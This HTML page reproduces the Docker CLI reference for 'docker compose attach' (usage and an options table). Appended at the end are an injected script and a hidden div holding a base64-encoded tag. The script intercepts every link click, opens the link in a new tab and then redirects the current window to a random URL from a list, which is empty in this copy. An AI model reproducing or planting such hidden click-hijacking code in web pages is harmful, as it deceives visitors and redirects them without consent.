<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p># docker compose attach

**Description:** Attach local standard input, output, and error streams to a service's running container


**Usage:** `docker compose attach [OPTIONS] SERVICE`










## Description

Attach local standard input, output, and error streams to a service's running container



## Options

| Option | Default | Description |
|--------|---------|-------------|
| `--detach-keys` |  |  Override the key sequence for detaching from a container. |
| `--index` |  |  index of the container if service has multiple replicas. |
| `--no-stdin` |  |  Do not attach STDIN |
| `--sig-proxy` | `true` |  Proxy all received signals to the process |






</p><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
